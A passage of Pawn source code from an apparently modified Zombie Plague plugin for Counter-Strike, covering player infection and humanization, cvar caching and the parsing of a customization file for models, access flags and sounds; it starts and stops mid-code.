		if (!g_frozen[id]) set_pev(id, pev_gravity, Float:ArrayGetCell(g_zclass_grav, g_zombieclass[id]))
		else g_frozen_gravity[id] = Float:ArrayGetCell(g_zclass_grav, g_zombieclass[id])
		
		// Set zombie maxspeed
		set_player_maxspeed(id)
		
	}
	
	remove_task(id+TASK_MODEL)
	remove_task(id+TASK_BLOOD)
	remove_task(id+TASK_AURA)
	remove_task(id+TASK_BURN)
	
	if (fm_cs_get_user_team(id) != FM_CS_TEAM_T) // need to change team?
	{
		remove_task(id+TASK_TEAM)
		fm_cs_set_user_team(id, FM_CS_TEAM_T)
		fm_user_team_update(id)
	}
	
	static currentmodel[32], tempmodel[32], already_has_model, i, iRand, size
	already_has_model = false
	
	if (g_handle_models_on_separate_ent)
	{
		if (g_nemesis[id])
		{
			iRand = random_num(0, ArraySize(model_nemesis) - 1)
			ArrayGetString(model_nemesis, iRand, g_playermodel[id], charsmax(g_playermodel[]))
			if (g_set_modelindex_offset_b) fm_cs_set_user_model_index(id, ArrayGetCell(g_modelindex_nemesis, iRand))
			set_pev(id, pev_body, 0)
		}
		else
		{
			if (get_pcvar_num(cvar_adminmodelszombie) && (get_user_flags(id) & g_access_flag[ACCESS_ADMIN_MODELS]))
			{
				iRand = random_num(0, ArraySize(model_admin_zombie) - 1)
				ArrayGetString(model_admin_zombie, iRand, g_playermodel[id], charsmax(g_playermodel[]))
				if (g_set_modelindex_offset) fm_cs_set_user_model_index(id, ArrayGetCell(g_modelindex_admin_zombie, iRand))
			}
			else
			{
				iRand = random_num(ArrayGetCell(g_zclass_modelsstart, g_zombieclass[id]), ArrayGetCell(g_zclass_modelsend, g_zombieclass[id]) - 1)
				ArrayGetString(g_zclass_playermodel, iRand, g_playermodel[id], charsmax(g_playermodel[]))
				if (g_set_modelindex_offset) fm_cs_set_user_model_index(id, ArrayGetCell(g_zclass_modelindex, iRand))
			}
		}
		
		fm_set_playermodel_ent(id)
		
		if (!g_frozen[id])
		{
			if (g_nemesis[id] && get_pcvar_num(cvar_nemglow))
				fm_set_rendering(g_ent_playermodel[id], kRenderFxGlowShell, 255, 0, 0, kRenderNormal, 25)
			else
				fm_set_rendering(g_ent_playermodel[id])
		}
	}
	else
	{
		fm_cs_get_user_model(id, currentmodel, charsmax(currentmodel))
		
		if (g_nemesis[id])
		{
			size = ArraySize(model_nemesis)
			for (i = 0; i < size; i++)
			{
				ArrayGetString(model_nemesis, i, tempmodel, charsmax(tempmodel))
				if (equal(currentmodel, tempmodel)) already_has_model = true
				set_pev(id, pev_body, 0)
			}
			
			if (!already_has_model)
			{
				iRand = random_num(0, size - 1)
				ArrayGetString(model_nemesis, iRand, g_playermodel[id], charsmax(g_playermodel[]))
				if (g_set_modelindex_offset_b) fm_cs_set_user_model_index(id, ArrayGetCell(g_modelindex_nemesis, iRand))
				set_pev(id, pev_body, 0)
			}
		}
		else
		{
			if (get_pcvar_num(cvar_adminmodelszombie) && (get_user_flags(id) & g_access_flag[ACCESS_ADMIN_MODELS]))
			{
				size = ArraySize(model_admin_zombie)
				for (i = 0; i < size; i++)
				{
					ArrayGetString(model_admin_zombie, i, tempmodel, charsmax(tempmodel))
					if (equal(currentmodel, tempmodel)) already_has_model = true
				}
				
				if (!already_has_model)
				{
					iRand = random_num(0, size - 1)
					ArrayGetString(model_admin_zombie, iRand, g_playermodel[id], charsmax(g_playermodel[]))
					if (g_set_modelindex_offset) fm_cs_set_user_model_index(id, ArrayGetCell(g_modelindex_admin_zombie, iRand))
				}
			}
			else
			{
				for (i = ArrayGetCell(g_zclass_modelsstart, g_zombieclass[id]); i < ArrayGetCell(g_zclass_modelsend, g_zombieclass[id]); i++)
				{
					ArrayGetString(g_zclass_playermodel, i, tempmodel, charsmax(tempmodel))
					if (equal(currentmodel, tempmodel)) already_has_model = true
				}
				
				if (!already_has_model)
				{
					iRand = random_num(ArrayGetCell(g_zclass_modelsstart, g_zombieclass[id]), ArrayGetCell(g_zclass_modelsend, g_zombieclass[id]) - 1)
					ArrayGetString(g_zclass_playermodel, iRand, g_playermodel[id], charsmax(g_playermodel[]))
					if (g_set_modelindex_offset) fm_cs_set_user_model_index(id, ArrayGetCell(g_zclass_modelindex, iRand))
				}
			}
		}
		
		if (!already_has_model)
		{
			if (g_newround)
				set_task(5.0 * g_modelchange_delay, "fm_user_model_update", id+TASK_MODEL)
			else
				fm_user_model_update(id+TASK_MODEL)
		}
		
		if (!g_frozen[id])
		{
			if (g_nemesis[id] && get_pcvar_num(cvar_nemglow))
				fm_set_rendering(id, kRenderFxGlowShell, 255, 0, 0, kRenderNormal, 25)
			else
				fm_set_rendering(id)
		}
	}
	
	cs_set_user_zoom(id, CS_RESET_ZOOM, 1)
	
	set_pev(id, pev_armorvalue, 0.0)
	
	drop_weapons(id, 1)
	drop_weapons(id, 2)
	
	fm_strip_user_weapons(id)
	fm_give_item(id, "weapon_knife")
	
	infection_effects(id)
	
	if (g_nemesis[id] && get_pcvar_num(cvar_nemaura))
		set_task(0.1, "zombie_aura", id+TASK_AURA, _, _, "b")
		
	// Remove CS nightvision if player owns one (bugfix)
	if (cs_get_user_nvg(id))
	{
		cs_set_user_nvg(id, 0)
		if (get_pcvar_num(cvar_customnvg)) remove_task(id+TASK_NVISION)
		else if (g_nvisionenabled[id]) set_user_gnvision(id, 0)
	}
	
	if (get_pcvar_num(cvar_nvggive))
	{
		g_nvision[id] = true
		
		if (!g_isbot[id])
		{
			if (get_pcvar_num(cvar_nvggive) == 1)
			{
				g_nvisionenabled[id] = true
				
				if (get_pcvar_num(cvar_customnvg))
				{
					remove_task(id+TASK_NVISION)
					set_task(0.1, "set_user_nvision", id+TASK_NVISION, _, _, "b")
				}
				else
					set_user_gnvision(id, 1)
			}
			else if (g_nvisionenabled[id])
			{
				if (get_pcvar_num(cvar_customnvg)) remove_task(id+TASK_NVISION)
				else set_user_gnvision(id, 0)
				g_nvisionenabled[id] = false
			}
		}
		else
			cs_set_user_nvg(id, 1); // turn on NVG for bots
	}
	else if (g_nvision[id])
	{
		if (get_pcvar_num(cvar_customnvg)) remove_task(id+TASK_NVISION)
		else if (g_nvisionenabled[id]) set_user_gnvision(id, 0)
		g_nvision[id] = false
		g_nvisionenabled[id] = false
	}
	
	if (get_pcvar_num(cvar_zombiefov) != 90 && get_pcvar_num(cvar_zombiefov) != 0)
	{
		message_begin(MSG_ONE, g_msgSetFOV, _, id)
		write_byte(get_pcvar_num(cvar_zombiefov)) // fov angle
		message_end()
	}
	
	if (!g_nemesis[id] && get_pcvar_num(cvar_zombiebleeding))
		set_task(0.7, "make_blood", id+TASK_BLOOD, _, _, "b")
	
	set_task(random_float(50.0, 70.0), "zombie_play_idle", id+TASK_BLOOD, _, _, "b")
	
	turn_off_flashlight(id)
	
	ExecuteForward(g_fwUserInfected_post, g_fwDummyResult, id, infector, nemesis)
	
	fnCheckLastZombie()
}

humanme(id, survivor, silentmode) {
	ExecuteForward(g_fwUserHumanize_attempt, g_fwDummyResult, id, survivor)
	
	// One or more plugins blocked the "humanization". Only allow this after making sure it's
	// not going to leave us with no humans. Take into account a last player leaving case.
	// BUGFIX: only allow after a mode has started, to prevent blocking first survivor e.g.
	if (g_fwDummyResult >= ZP_PLUGIN_HANDLED && g_modestarted && fnGetHumans() > g_lastplayerleaving)
		return;
	
	ExecuteForward(g_fwUserHumanized_pre, g_fwDummyResult, id, survivor)
	
	remove_task(id+TASK_MODEL)
	remove_task(id+TASK_BLOOD)
	remove_task(id+TASK_AURA)
	remove_task(id+TASK_BURN)
	remove_task(id+TASK_NVISION)
	
	// Reset some vars
	g_zombie[id] = false
	g_nemesis[id] = false
	g_survivor[id] = false
	g_firstzombie[id] = false
	g_canbuy[id] = true
	g_buytime[id] = get_gametime()
	
	set_pev(id, pev_effects, pev(id, pev_effects) &~ EF_BRIGHTLIGHT)
	
	g_nodamage[id] = false
	set_pev(id, pev_effects, pev(id, pev_effects) &~ EF_NODRAW)
	
	g_burning_duration[id] = 0
	
	// Remove CS nightvision if player owns one (bugfix)
	if (cs_get_user_nvg(id))
	{
		cs_set_user_nvg(id, 0)
		if (get_pcvar_num(cvar_customnvg)) remove_task(id+TASK_NVISION)
		else if (g_nvisionenabled[id]) set_user_gnvision(id, 0)
	}
	
	drop_weapons(id, 1)
	drop_weapons(id, 2)
	
	fm_strip_user_weapons(id)
	fm_give_item(id, "weapon_knife")
	
	if (survivor)
	{
		g_survivor[id] = true
		
		if (get_pcvar_num(cvar_survhp) == 0)
		{
			if (get_pcvar_num(cvar_survbasehp) == 0)
				fm_set_user_health(id, get_pcvar_num(cvar_humanhp) * fnGetAlive())
			else
				fm_set_user_health(id, get_pcvar_num(cvar_survbasehp) * fnGetAlive())
		}
		else
			fm_set_user_health(id, get_pcvar_num(cvar_survhp))
		
		if (!g_frozen[id]) set_pev(id, pev_gravity, get_pcvar_float(cvar_survgravity))
		
		static survweapon[32]
		get_pcvar_string(cvar_survweapon, survweapon, charsmax(survweapon))
		fm_give_item(id, survweapon)
		ExecuteHamB(Ham_GiveAmmo, id, MAXBPAMMO[cs_weapon_name_to_id(survweapon)], AMMOTYPE[cs_weapon_name_to_id(survweapon)], MAXBPAMMO[cs_weapon_name_to_id(survweapon)])
		
		turn_off_flashlight(id)
		
		if (get_pcvar_num(cvar_survaura)) set_pev(id, pev_effects, pev(id, pev_effects) | EF_BRIGHTLIGHT)
			
		if (g_isbot[id])
		{
			g_nvision[id] = true
			cs_set_user_nvg(id, 1)
		}
	}
	else
	{
		fm_set_user_health(id, get_pcvar_num(cvar_humanhp))
		
		if (!g_frozen[id]) set_pev(id, pev_gravity, get_pcvar_float(cvar_humangravity))
		
		if (get_pcvar_num(cvar_buycustom))
			set_task(0.2, "show_menu_buy1", id+TASK_SPAWN)
		
		if (!silentmode)
		{
			static sound[64]
			ArrayGetString(sound_antidote, random_num(0, ArraySize(sound_antidote) - 1), sound, charsmax(sound))
			emit_sound(id, CHAN_ITEM, sound, 1.0, ATTN_NORM, 0, PITCH_NORM)
			
			set_hudmessage(0, 0, 255, HUD_INFECT_X, HUD_INFECT_Y, 0, 0.0, 5.0, 1.0, 1.0, -1)
			ShowSyncHudMsg(0, g_MsgSync, "%L", LANG_PLAYER, "NOTICE_ANTIDOTE", g_playername[id])
		}
	}
	
	if (fm_cs_get_user_team(id) != FM_CS_TEAM_CT)
	{
		remove_task(id+TASK_TEAM)
		fm_cs_set_user_team(id, FM_CS_TEAM_CT)
		fm_user_team_update(id)
	}
	
	static currentmodel[32], tempmodel[32], already_has_model, i, iRand, size , iRand_s , size_s
	already_has_model = false
	
	if (g_handle_models_on_separate_ent)
	{
		if (g_survivor[id])
		{
			iRand = random_num(0, ArraySize(model_survivor) - 1)
			ArrayGetString(model_survivor, iRand, g_playermodel[id], charsmax(g_playermodel[]))
			set_pev(id, pev_body, random_num(0,1))
			if (g_set_modelindex_offset) fm_cs_set_user_model_index(id, ArrayGetCell(g_modelindex_survivor, iRand))
			
		}
		else
		{
			if (get_pcvar_num(cvar_adminmodelshuman) && (get_user_flags(id) & g_access_flag[ACCESS_ADMIN_MODELS]))
			{
				iRand = random_num(0, ArraySize(model_admin_human) - 1)
				ArrayGetString(model_admin_human, iRand, g_playermodel[id], charsmax(g_playermodel[]))
				if (g_set_modelindex_offset) fm_cs_set_user_model_index(id, ArrayGetCell(g_modelindex_admin_human, iRand))
			}
			else
			{
				iRand = random_num(0, ArraySize(model_human) - 1)
				ArrayGetString(model_human, iRand, g_playermodel[id], charsmax(g_playermodel[]))
				set_pev(id, pev_body, random_num(0,2))
				if (g_set_modelindex_offset) fm_cs_set_user_model_index(id, ArrayGetCell(g_modelindex_human, iRand))
				
				iRand_s = random_num(0, ArraySize(model_human_s) - 1)
				ArrayGetString(model_human_s, iRand_s, g_playermodel[id], charsmax(g_playermodel[]))
				set_pev(id, pev_body, random_num(0,2))
				if (g_set_modelindex_offset) fm_cs_set_user_model_index(id, ArrayGetCell(g_modelindex_human, iRand_s))
			}
		}
		
		fm_set_playermodel_ent(id)
		
		if (!g_frozen[id])
		{
			if (g_survivor[id] && get_pcvar_num(cvar_survglow))
				fm_set_rendering(g_ent_playermodel[id], kRenderFxGlowShell, 0, 0, 255, kRenderNormal, 25)
			else
				fm_set_rendering(g_ent_playermodel[id])
		}
	}
	else
	{
		fm_cs_get_user_model(id, currentmodel, charsmax(currentmodel))
		
		if (g_survivor[id])
		{
			size = ArraySize(model_survivor)
			for (i = 0; i < size; i++)
			{
				ArrayGetString(model_survivor, i, tempmodel, charsmax(tempmodel))
				set_pev(id, pev_body, random_num(0,1))
				if (equal(currentmodel, tempmodel)) already_has_model = true
			}
			
			if (!already_has_model)
			{
				iRand = random_num(0, size - 1)
				ArrayGetString(model_survivor, iRand, g_playermodel[id], charsmax(g_playermodel[]))
				set_pev(id, pev_body, random_num(0,1))
				if (g_set_modelindex_offset) fm_cs_set_user_model_index(id, ArrayGetCell(g_modelindex_survivor, iRand))
			}
		}
		else
		{
			if (get_pcvar_num(cvar_adminmodelshuman) && (get_user_flags(id) & g_access_flag[ACCESS_ADMIN_MODELS]))
			{
				size = ArraySize(model_admin_human)
				for (i = 0; i < size; i++)
				{
					ArrayGetString(model_admin_human, i, tempmodel, charsmax(tempmodel))
					if (equal(currentmodel, tempmodel)) already_has_model = true
				}
				
				if (!already_has_model)
				{
					iRand = random_num(0, size - 1)
					ArrayGetString(model_admin_human, iRand, g_playermodel[id], charsmax(g_playermodel[]))
					if (g_set_modelindex_offset) fm_cs_set_user_model_index(id, ArrayGetCell(g_modelindex_admin_human, iRand))
				}
			}
			else
			{
				size = ArraySize(model_human)
				size_s  = ArraySize(model_human_s)
				for (i = 0; i < size; i++)
				{
					ArrayGetString(model_human, i, tempmodel, charsmax(tempmodel))
					set_pev(id, pev_body, random_num(0,2))
					if (equal(currentmodel, tempmodel)) already_has_model = true
				}
				
				if (!already_has_model)
				{
					iRand = random_num(0, size - 1)
					ArrayGetString(model_human_s, iRand, g_playermodel[id], charsmax(g_playermodel[]))
					set_pev(id, pev_body, random_num(0,2))
					if (g_set_modelindex_offset) fm_cs_set_user_model_index(id, ArrayGetCell(g_modelindex_human, iRand))
					
					iRand_s = random_num(0, size_s - 1)
					ArrayGetString(model_human_s, iRand_s, g_playermodel[id], charsmax(g_playermodel[]))
					set_pev(id, pev_body, random_num(0,2))
					if (g_set_modelindex_offset) fm_cs_set_user_model_index(id, ArrayGetCell(g_modelindex_human, iRand_s))
				}
			}
		}
		
		if (!already_has_model)
		{
			if (g_newround)
				set_task(5.0 * g_modelchange_delay, "fm_user_model_update", id+TASK_MODEL)
			else
				fm_user_model_update(id+TASK_MODEL)
		}
		
		if (!g_frozen[id])
		{
			if (g_survivor[id] && get_pcvar_num(cvar_survglow))
				fm_set_rendering(id, kRenderFxGlowShell, 0, 0, 255, kRenderNormal, 25)
			else
				fm_set_rendering(id)
		}
	}
	
	if (get_pcvar_num(cvar_zombiefov) != 90 && get_pcvar_num(cvar_zombiefov) != 0)
	{
		message_begin(MSG_ONE, g_msgSetFOV, _, id)
		write_byte(90) // angle
		message_end()
	}
	
	// Disable nightvision when turning into human/survivor (bugfix)
	if (g_nvision[id])
	{
		if (get_pcvar_num(cvar_customnvg)) remove_task(id+TASK_NVISION)
		else if (g_nvisionenabled[id]) set_user_gnvision(id, 0)
		g_nvision[id] = false
		g_nvisionenabled[id] = false
	}
	
	// Post user humanize forward
	ExecuteForward(g_fwUserHumanized_post, g_fwDummyResult, id, survivor)
	
	if(survivor && g_is_saw[id])
	{
		if(check_drop_flag(DROPFLAG_SURVHUMAN))
			drop_chainsaw(id);
		else
		{
			g_is_saw[id] = false;
			reset_user_knife(id);
		}
	}
	
	// Last Zombie Check
	fnCheckLastZombie()
}


//////////////////////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////////////////////
public cache_cvars() {
	g_cached_zombiesilent = get_pcvar_num(cvar_zombiesilent)
	g_cached_customflash = get_pcvar_num(cvar_customflash)
	g_cached_leapzombies = get_pcvar_num(cvar_leapzombies)
	g_cached_leapzombiescooldown = get_pcvar_float(cvar_leapzombiescooldown)
	g_cached_leapnemesis = get_pcvar_num(cvar_leapnemesis)
	g_cached_leapnemesiscooldown = get_pcvar_float(cvar_leapnemesiscooldown)
	g_cached_leapsurvivor = get_pcvar_num(cvar_leapsurvivor)
	g_cached_leapsurvivorcooldown = get_pcvar_float(cvar_leapsurvivorcooldown)
	g_cached_buytime = get_pcvar_float(cvar_buyzonetime)
}

load_customization_from_files() {
	new path[64]
	get_configsdir(path, charsmax(path))
	format(path, charsmax(path), "%s/%s", path, ZP_CUSTOMIZATION_FILE)
	
	if (!file_exists(path))
	{
		new error[100]
		formatex(error, charsmax(error), "Cannot load customization file %s!", path)
		set_fail_state(error)
		return;
	}
	
	new linedata[1024], key[64], value[960], section, teams
	
	new file = fopen(path, "rt")
	
	while (file && !feof(file))
	{
		fgets(file, linedata, charsmax(linedata))
		replace(linedata, charsmax(linedata), "^n", "")
		
		if (!linedata[0] || linedata[0] == ';') continue;
		
		if (linedata[0] == '[')
		{
			section++
			continue;
		}
		
		strtok(linedata, key, charsmax(key), value, charsmax(value), '=')
		
		trim(key)
		trim(value)
		
		switch (section)
		{
			case SECTION_ACCESS_FLAGS: {
				if (equal(key, "ENABLE/DISABLE MOD"))
					g_access_flag[ACCESS_ENABLE_MOD] = read_flags(value)
				else if (equal(key, "ADMIN MENU"))
					g_access_flag[ACCESS_ADMIN_MENU] = read_flags(value)
				else if (equal(key, "START MODE INFECTION"))
					g_access_flag[ACCESS_MODE_INFECTION] = read_flags(value)
				else if (equal(key, "START MODE NEMESIS"))
					g_access_flag[ACCESS_MODE_NEMESIS] = read_flags(value)
				else if (equal(key, "START MODE SURVIVOR"))
					g_access_flag[ACCESS_MODE_SURVIVOR] = read_flags(value)
				else if (equal(key, "START MODE SWARM"))
					g_access_flag[ACCESS_MODE_SWARM] = read_flags(value)
				else if (equal(key, "START MODE MULTI"))
					g_access_flag[ACCESS_MODE_MULTI] = read_flags(value)
				else if (equal(key, "START MODE PLAGUE"))
					g_access_flag[ACCESS_MODE_PLAGUE] = read_flags(value)
				else if (equal(key, "MAKE ZOMBIE"))
					g_access_flag[ACCESS_MAKE_ZOMBIE] = read_flags(value)
				else if (equal(key, "MAKE HUMAN"))
					g_access_flag[ACCESS_MAKE_HUMAN] = read_flags(value)
				else if (equal(key, "MAKE NEMESIS"))
					g_access_flag[ACCESS_MAKE_NEMESIS] = read_flags(value)
				else if (equal(key, "MAKE SURVIVOR"))
					g_access_flag[ACCESS_MAKE_SURVIVOR] = read_flags(value)
				else if (equal(key, "RESPAWN PLAYERS"))
					g_access_flag[ACCESS_RESPAWN_PLAYERS] = read_flags(value)
				else if (equal(key, "ADMIN MODELS"))
					g_access_flag[ACCESS_ADMIN_MODELS] = read_flags(value)
			}
			case SECTION_AMMO_COSTS:
			{
				if (equal(key, "COSTS"))
				{
					// Parse weapon items
					new j
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						// Trim spaces
						trim(key)
						trim(value)
						
						// Add to weapons array
						weapon_ammo_costs[j++] = str_to_num(key)
					}
				}
			}
			case SECTION_PLAYER_MODELS: {
				if (equal(key, "HUMAN"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)
						
						ArrayPushString(model_human, key)
					}
				}
				else if (equal(key, "HUMAN_S"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)
						
						ArrayPushString(model_human_s, key)
					}
				}
				else if (equal(key, "NEMESIS"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)
						
						ArrayPushString(model_nemesis, key)
					}
				}
				else if (equal(key, "SURVIVOR"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)
						
						ArrayPushString(model_survivor, key)
						
					}
				}
				else if (equal(key, "ADMIN ZOMBIE"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)
						
						ArrayPushString(model_admin_zombie, key)
					}
				}
				else if (equal(key, "ADMIN HUMAN"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)
						
						ArrayPushString(model_admin_human, key)
					}
				}

				else if (equal(key, "FORCE CONSISTENCY"))
					g_force_consistency = str_to_num(value)
				else if (equal(key, "SAME MODELS FOR ALL"))
					g_same_models_for_all = str_to_num(value)
				else if (g_same_models_for_all && equal(key, "ZOMBIE"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)
						
						ArrayPushString(g_zclass_playermodel, key)
						
						formatex(linedata, charsmax(linedata), "models/player/%s/%s.mdl", key, key)
						ArrayPushCell(g_zclass_modelindex, engfunc(EngFunc_PrecacheModel, linedata))
						if (g_force_consistency == 1) force_unmodified(force_model_samebounds, {0,0,0}, {0,0,0}, linedata)
						if (g_force_consistency == 2) force_unmodified(force_exactfile, {0,0,0}, {0,0,0}, linedata)
					}
				}
			}
			case SECTION_WEAPON_MODELS: {
				if (equal(key, "V_M249 SURVIVOR")) // backwards compatibility with old configs
					copy(model_vweapon_survivor, charsmax(model_vweapon_survivor), value)
				else if (equal(key, "V_WEAPON SURVIVOR"))
					copy(model_vweapon_survivor, charsmax(model_vweapon_survivor), value)

				else if (equal(key, "GRENADE INFECT"))
					copy(model_grenade_infect, charsmax(model_grenade_infect), value)

				else if (equal(key, "V_GRENADE FIRE"))
					copy(model_grenade_fire, charsmax(model_grenade_fire), value)
				else if (equal(key, "P_GRENADE FIRE"))
					copy(model_grenade_firee, charsmax(model_grenade_firee), value)
				else if (equal(key, "W_GRENADE FIRE"))
					copy(model_grenade_fireee, charsmax(model_grenade_fireee), value)

				else if (equal(key, "W_GRENADE BOMB"))
					copy(w_bomb_infect, charsmax(w_bomb_infect), value)


				else if (equal(key, "GRENADE FROST"))
					copy(model_grenade_frost, charsmax(model_grenade_frost), value)
				else if (equal(key, "P_GRENADE FROST"))
					copy(model_grenade_frostt, charsmax(model_grenade_frostt), value)
				else if (equal(key, "W_GRENADE FROST"))
					copy(w_model_frost, charsmax(w_model_frost), value)

				else if (equal(key, "V_GRENADE FLARE"))
					copy(model_grenade_flare, charsmax(model_grenade_flare), value)
				else if (equal(key, "P_GRENADE FLARE"))
					copy(model_grenade_flaree, charsmax(model_grenade_flaree), value)
				else if (equal(key, "W_GRENADE FLARE"))
					copy(asdasdasdd, charsmax(asdasdasdd), value)


				else if (equal(key, "P_GRENADE SMOKE"))
					copy(p_model_grenade_infect, charsmax(p_model_grenade_infect), value)
				else if (equal(key, "W_GRENADE SMOKE"))
					copy(w_model_grenade_infect, charsmax(w_model_grenade_infect), value)
			}
			case SECTION_GRENADE_SPRITES: {
				if (equal(key, "TRAIL"))
					copy(sprite_grenade_trail, charsmax(sprite_grenade_trail), value)
				else if (equal(key, "RING"))
					copy(sprite_grenade_ring, charsmax(sprite_grenade_ring), value)
				else if (equal(key, "FIRE"))
					copy(sprite_grenade_fire, charsmax(sprite_grenade_fire), value)
				else if (equal(key, "SMOKE"))
					copy(sprite_grenade_smoke, charsmax(sprite_grenade_smoke), value)
				else if (equal(key, "GLASS"))
					copy(sprite_grenade_glass, charsmax(sprite_grenade_glass), value)
			}
			case SECTION_SOUNDS: {
				if (equal(key, "WIN ZOMBIES"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)
						
						ArrayPushString(sound_win_zombies, key)
					}
				}
				else if (equal(key, "WIN HUMANS"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)
						
						ArrayPushString(sound_win_humans, key)
					}
				}
				else if (equal(key, "WIN NO ONE"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)
						
						ArrayPushString(sound_win_no_one, key)
					}
				}
				else if (equal(key, "ZOMBIE INFECT"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)
						
						ArrayPushString(zombie_infect, key)
					}
				}
				else if (equal(key, "ZOMBIE PAIN"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)
						
						ArrayPushString(zombie_pain, key)
					}
				}
				else if (equal(key, "ZOMBIE DIE"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)
						
						ArrayPushString(zombie_die, key)
					}
				}
				else if (equal(key, "ZOMBIE FALL"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)
						
						ArrayPushString(zombie_fall, key)
					}
				}
				else if (equal(key, "ZOMBIE MISS SLASH"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)
						
						ArrayPushString(zombie_miss_slash, key)
					}
				}
				else if (equal(key, "ZOMBIE MISS WALL"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)
						
						ArrayPushString(zombie_miss_wall, key)
					}
				}
				else if (equal(key, "ZOMBIE HIT NORMAL"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)
						
						ArrayPushString(zombie_hit_normal, key)
					}
				}
				else if (equal(key, "ZOMBIE HIT STAB"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)
						
						ArrayPushString(zombie_hit_stab, key)
					}
				}
				else if (equal(key, "ZOMBIE IDLE"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)
						
						ArrayPushString(zombie_idle, key)
					}
				}
				else if (equal(key, "ZOMBIE IDLE LAST"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)
						
						ArrayPushString(zombie_idle_last, key)
					}
				}
				else if (equal(key, "ZOMBIE MADNESS"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)
						
						ArrayPushString(zombie_madness, key)
					}
				}
				else if (equal(key, "SURVIVOR PAIN"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)
						
						ArrayPushString(survivor_pain, key)
					}
				}
				else if (equal(key, "SURVIVOR DIE"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)
						
						ArrayPushString(survivor_die, key)
					}
				}
				else if (equal(key, "NEMESIS WIN"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)
						
						ArrayPushString(nemesis_win, key)
					}
				}
				else if (equal(key, "NEMESIS LOOSE"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)
						
						ArrayPushString(nemesis_loose, key)
					}
				}
				else if (equal(key, "NEMESIS PAIN"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)
						
						ArrayPushString(nemesis_pain, key)
					}
				}
				else if (equal(key, "NEMESIS DIE"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)
						
						ArrayPushString(nemesis_die, key)
					}
				}
				else if (equal(key, "NEMESIS FALL"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)
						
						ArrayPushString(nemesis_fall, key)
					}
				}
				else if (equal(key, "NEMESIS MISS SLASH"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)
						
						ArrayPushString(nemesis_miss_slash, key)
					}
				}
				else if (equal(key, "NEMESIS MISS WALL"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)
						
						ArrayPushString(nemesis_miss_wall, key)
					}
				}
				else if (equal(key, "NEMESIS HIT NORMAL"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)
						
						ArrayPushString(nemesis_hit_normal, key)
					}
				}
				else if (equal(key, "NEMESIS HIT STAB"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)
						
						ArrayPushString(nemesis_hit_stab, key)
					}
				}
				else if (equal(key, "NEMESIS IDLE"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)
						
						ArrayPushString(nemesis_idle, key)
					}
				}
				else if (equal(key, "NEMESIS IDLE LAST"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)
						
						ArrayPushString(nemesis_idle_last, key)
					}
				}
				else if (equal(key, "NEMESIS GRENADE FIRE"))
				{
